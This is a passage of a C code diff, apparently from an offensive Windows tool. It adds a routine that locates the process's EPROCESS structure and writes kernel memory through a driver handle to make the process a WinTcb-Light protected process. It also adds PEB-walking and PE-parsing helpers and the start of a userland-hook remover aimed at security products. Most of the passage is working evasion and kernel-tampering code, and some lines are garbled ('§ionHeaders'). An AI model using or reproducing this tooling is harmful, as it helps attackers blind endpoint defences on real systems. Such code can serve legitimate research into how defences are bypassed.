|
||||||
|
|
||||||
|
return returnStatus;
|
||||||
|
}
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
|
||||||
|
--- The code to locate the EPROCESS structure is adapted from:
|
||||||
|
http://blog.rewolf.pl/blog/?p=1683
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "RunAsPPL.h"
|
||||||
|
|
||||||
|
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||||
|
NTSTATUS status;
|
||||||
|
DWORD currentProcessID = GetCurrentProcessId();
|
||||||
|
|
||||||
|
// Open an handle to our own process.
|
||||||
|
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
|
||||||
|
if (verbose) {
|
||||||
|
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)selfProcessHandle);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Retrieves the native NtQuerySystemInformation function from ntdll.
|
||||||
|
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
|
||||||
|
if (!hNtdll) {
|
||||||
|
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||||
|
if (!NtQuerySystemInformation) {
|
||||||
|
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Retrieves all the handle table using NtQuerySystemInformation.
|
||||||
|
* Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH).
|
||||||
|
* Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation.
|
||||||
|
*/
|
||||||
|
ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize;
|
||||||
|
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
|
||||||
|
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
|
||||||
|
if (!pHandleTableInformation) {
|
||||||
|
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||||
|
SystemHandleInformationSize = SystemHandleInformationSize * 2;
|
||||||
|
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
|
||||||
|
if (!tmpHandleTableInformation) {
|
||||||
|
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
pHandleTableInformation = tmpHandleTableInformation;
|
||||||
|
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||||
|
}
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterates through all the handles.
|
||||||
|
DWORD64 returnAddress = 0x0;
|
||||||
|
for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) {
|
||||||
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i];
|
||||||
|
|
||||||
|
// Only retrieves the handles associated with our own process.
|
||||||
|
if (handleInfo.UniqueProcessId != currentProcessID) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (verbose) {
|
||||||
|
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (handleInfo.HandleValue == (USHORT)selfProcessHandle) {
|
||||||
|
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||||
|
returnAddress = (DWORD64)handleInfo.Object;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pHandleTableInformation);
|
||||||
|
CloseHandle(selfProcessHandle);
|
||||||
|
return returnAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
int SetCurrentProcessAsProtected(BOOL verbose) {
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
|
||||||
|
if (processEPROCESSAddress == 0x0) {
|
||||||
|
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
|
||||||
|
CloseHandle(Device);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||||
|
|
||||||
|
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
|
||||||
|
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
|
||||||
|
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
|
||||||
|
|
||||||
|
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
|
||||||
|
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||||
|
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
|
||||||
|
|
||||||
|
CloseHandle(Device);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
#include "Undoc.h"
|
||||||
|
#include "PEBBrowse.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
/*
|
||||||
|
Get the module entry in the InLoadOrderModuleList given the module name
|
||||||
|
*/
|
||||||
|
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
|
||||||
|
size_t nameSize = wcslen(name);
|
||||||
|
|
||||||
|
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||||
|
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
|
||||||
|
return currentModuleEntry;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#ifdef _DEBUG
|
||||||
|
printf("getModuleEntryFromNameW failed to find module\n");
|
||||||
|
#endif // _DEBUG
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
Get the module entry in the InLoadOrderModuleList given an address inside it
|
||||||
|
Assumes : the address belong to a module
|
||||||
|
Returns : the module it should belong to
|
||||||
|
*/
|
||||||
|
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
|
||||||
|
LDR_DATA_TABLE_ENTRY* closest = NULL;
|
||||||
|
uintptr_t distance = (uintptr_t)-1;
|
||||||
|
|
||||||
|
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
|
||||||
|
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
|
||||||
|
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
|
||||||
|
closest = ptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return closest;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
Returns the next module entry in the InLoadOrderModuleList
|
||||||
|
Assumes : curr is a ptr to a module entry in the list or NULL
|
||||||
|
Returns :
|
||||||
|
* if curr is non-NULL:
|
||||||
|
* A pointer to the next entry in the list, or
|
||||||
|
* A NULL pointer, if end of the list is reached
|
||||||
|
* if curr is NULL
|
||||||
|
* A pointer to the first element of the list
|
||||||
|
*/
|
||||||
|
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
|
||||||
|
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
|
||||||
|
if (curr == NULL) {
|
||||||
|
return start;
|
||||||
|
}
|
||||||
|
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
|
||||||
|
if (next == start) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
return next;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if _WIN64
|
||||||
|
PEB64* getPEB() {
|
||||||
|
return (PEB64*)__readgsqword(0x60);
|
||||||
|
}
|
||||||
|
|
||||||
|
TEB64* getTEB() {
|
||||||
|
return (TEB64*)__readgsqword(0x30);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
PEB* getPEB() {
|
||||||
|
return (PEB*)__readfsdword(0x30);
|
||||||
|
}
|
||||||
|
|
||||||
|
TEB* getTEB() {
|
||||||
|
return (TEB*)__readfsdword(0x18);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,363 @@
|
|||||||
|
#include "PEParser.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <assert.h>
|
||||||
|
|
||||||
|
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
|
||||||
|
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||||
|
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||||
|
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
|
||||||
|
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
|
||||||
|
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
|
||||||
|
return §ionHeaders[sectionIndex];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
Get the next section header having the given memory access permissions, after the provided section headers "prev".
|
||||||
|
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
|
||||||
|
Returns NULL if no section header is found.
|
||||||
|
*/
|
||||||
|
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
|
||||||
|
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||||
|
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
|
||||||
|
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||||
|
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
|
||||||
|
if (readable != 0) {
|
||||||
|
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
|
||||||
|
if (readable == -1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (readable == 1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (writable != 0) {
|
||||||
|
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
|
||||||
|
if (writable == -1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (writable == 1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (executable != 0) {
|
||||||
|
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||||
|
if (executable == -1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (executable == 1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return §ionHeaders[sectionIndex];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
|
||||||
|
PVOID peBase = pe->dosHeader;
|
||||||
|
if (pe->isMemoryMapped) {
|
||||||
|
return (PBYTE)peBase + rva;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
|
||||||
|
if (NULL == rvaSectionHeader) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
|
||||||
|
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||||
|
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||||
|
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||||
|
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
|
||||||
|
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
|
||||||
|
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
|
||||||
|
assert(relativeOffset <= MAXDWORD);
|
||||||
|
return sectionVA + (DWORD)relativeOffset;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID PE_parseRelocations(PE* pe) {
|
||||||
|
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||||
|
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
|
||||||
|
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
|
||||||
|
pe->nbRelocations = 0;
|
||||||
|
DWORD relocationsLength = 16;
|
||||||
|
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
|
||||||
|
if (NULL == pe->relocations)
|
||||||
|
exit(1);
|
||||||
|
|
||||||
|
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
|
||||||
|
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
|
||||||
|
nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
|
||||||
|
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
|
||||||
|
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
|
||||||
|
if (pe->nbRelocations >= relocationsLength) {
|
||||||
|
relocationsLength *= 2;
|
||||||
|
void* pe_relocations = pe->relocations;
|
||||||
|
assert(NULL != pe_relocations);
|
||||||
|
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
|
||||||
|
assert(NULL != pe->relocations);
|
||||||
|
}
|
||||||
|
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
|
||||||
|
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
|
||||||
|
pe->nbRelocations++;
|
||||||
|
relocationEntry++;
|
||||||
|
}
|
||||||
|
relocationBlockPtr = nextRelocationBlockPtr;
|
||||||
|
}
|
||||||
|
void* pe_relocations = pe->relocations;
|
||||||
|
assert(pe_relocations != NULL);
|
||||||
|
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
|
||||||
|
if (NULL == pe->relocations)
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||||
|
{
|
||||||
|
DWORD* relocDwAddress;
|
||||||
|
QWORD* relocQwAddress;
|
||||||
|
|
||||||
|
if (pe->isMemoryMapped) {
|
||||||
|
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (NULL == pe->relocations) {
|
||||||
|
PE_parseRelocations(pe);
|
||||||
|
}
|
||||||
|
assert(pe->relocations != NULL);
|
||||||
|
PVOID oldBaseAddress = pe->baseAddress;
|
||||||
|
pe->baseAddress = newBaseAddress;
|
||||||
|
for (DWORD i = 0; i < pe->nbRelocations; i++) {
|
||||||
|
switch (pe->relocations[i].Type) {
|
||||||
|
case IMAGE_REL_BASED_ABSOLUTE:
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_HIGHLOW:
|
||||||
|
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||||
|
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||||
|
assert(relativeOffset <= MAXDWORD);
|
||||||
|
*relocDwAddress += (DWORD)relativeOffset;
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_DIR64:
|
||||||
|
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||||
|
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
|
||||||
|
PE* pe = calloc(1, sizeof(PE));
|
||||||
|
if (NULL == pe) {
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
pe->isMemoryMapped = isMemoryMapped;
|
||||||
|
pe->isInAnotherAddressSpace = FALSE;
|
||||||
|
pe->hProcess = INVALID_HANDLE_VALUE;
|
||||||
|
pe->dosHeader = imageBase;
|
||||||
|
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
|
||||||
|
pe->optHeader = &pe->ntHeader->OptionalHeader;
|
||||||
|
if (isMemoryMapped) {
|
||||||
|
pe->baseAddress = imageBase;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
|
||||||
|
}
|
||||||
|
pe->dataDir = pe->optHeader->DataDirectory;
|
||||||
|
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
|
||||||
|
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||||
|
if (exportRVA == 0) {
|
||||||
|
pe->exportDirectory = NULL;
|
||||||
|
pe->exportedNames = NULL;
|
||||||
|
pe->exportedFunctions = NULL;
|
||||||
|
pe->exportedOrdinals = NULL;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||||
|
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
|
||||||
|
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
|
||||||
|
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
|
||||||
|
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
|
||||||
|
}
|
||||||
|
pe->relocations = NULL;
|
||||||
|
return pe;
|
||||||
|
}
|
||||||
|
|
||||||
|
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
|
||||||
|
PE* pe = calloc(1, sizeof(PE));
|
||||||
|
if (NULL == pe) {
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
pe->isMemoryMapped = TRUE;
|
||||||
|
pe->hProcess = hProcess;
|
||||||
|
pe->isInAnotherAddressSpace = TRUE;
|
||||||
|
pe->baseAddress = imageBase;
|
||||||
|
pe->dosHeader = imageBase;
|
||||||
|
DWORD ntHeaderPtrAddress = 0;
|
||||||
|
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
|
||||||
|
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
|
||||||
|
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
|
||||||
|
pe->dataDir = pe->optHeader->DataDirectory;
|
||||||
|
WORD sizeOfOptionnalHeader = 0;
|
||||||
|
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
|
||||||
|
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
|
||||||
|
DWORD exportRVA = 0;
|
||||||
|
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
|
||||||
|
if (exportRVA == 0) {
|
||||||
|
pe->exportDirectory = NULL;
|
||||||
|
pe->exportedNames = NULL;
|
||||||
|
pe->exportedFunctions = NULL;
|
||||||
|
pe->exportedOrdinals = NULL;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||||
|
|
||||||
|
DWORD AddressOfNames = 0;
|
||||||
|
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
|
||||||
|
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
|
||||||
|
|
||||||
|
DWORD AddressOfFunctions = 0;
|
||||||
|
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
|
||||||
|
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
|
||||||
|
|
||||||
|
DWORD AddressOfNameOrdinals = 0;
|
||||||
|
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
|
||||||
|
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
|
||||||
|
}
|
||||||
|
pe->relocations = NULL;
|
||||||
|
return pe;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
|
||||||
|
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
|
||||||
|
LPDWORD exportedNames = pe->exportedNames;
|
||||||
|
LPDWORD exportedFunctions = pe->exportedFunctions;
|
||||||
|
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
|
||||||
|
|
||||||
|
DWORD nameOrdinal_low = 0;
|
||||||
|
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
|
||||||
|
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
|
||||||
|
DWORD nameOrdinal_mid;
|
||||||
|
LPCSTR exportName_mid;
|
||||||
|
|
||||||
|
while (nameOrdinal_high - nameOrdinal_low > 1) {
|
||||||
|
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
|
||||||
|
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
|
||||||
|
if (strcmp(exportName_mid, functionName) > 0) {
|
||||||
|
nameOrdinal_high = nameOrdinal_mid;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
nameOrdinal_low = nameOrdinal_mid;
|
||||||
|
exportName_low = exportName_mid;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!strcmp(exportName_low, functionName))
|
||||||
|
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
|
||||||
|
DWORD functionRVA = PE_functionRVA(pe, functionName);
|
||||||
|
return PE_RVA_to_Addr(pe, functionRVA);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
|
||||||
|
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||||
|
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||||
|
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||||
|
if ((size_t)sectionSize < patternSize) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
assert(patternSize <= MAXDWORD);
|
||||||
|
DWORD endSize = sectionSize - (DWORD)patternSize;
|
||||||
|
for (DWORD offset = 0; offset < endSize; offset++) {
|
||||||
|
PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
|
||||||
|
if (!memcmp(ptr, pattern, patternSize)) {
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
|
||||||
|
signed long long int maximum;
|
||||||
|
signed long long int minimum;
|
||||||
|
|
||||||
|
switch (relativeReferenceSize)
|
||||||
|
{
|
||||||
|
case 1:
|
||||||
|
minimum = MININT8;
|
||||||
|
maximum = MAXINT8;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
minimum = MININT16;
|
||||||
|
maximum = MAXINT16;
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
minimum = MININT32;
|
||||||
|
maximum = MAXINT32;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
minimum = 0;
|
||||||
|
maximum = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||||
|
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||||
|
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||||
|
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
|
||||||
|
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
|
||||||
|
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
|
||||||
|
switch (relativeReferenceSize) {
|
||||||
|
case 1:
|
||||||
|
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||||
|
return PE_RVA_to_Addr(pe, rva);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||||
|
return PE_RVA_to_Addr(pe, rva);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||||
|
return PE_RVA_to_Addr(pe, rva);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
minimum = 0;
|
||||||
|
maximum = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
@@ -0,0 +1,673 @@
|
|||||||
|
// FreeHookers.cpp : This file contains the 'main' function. Program execution begins and ends there.
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "UserlandHooks.h"
|
||||||
|
|
||||||
|
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
|
||||||
|
|
||||||
|
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||||
|
#if _WIN64
|
||||||
|
#define PATCH_MAX_SIZE 0x18
|
||||||
|
#else
|
||||||
|
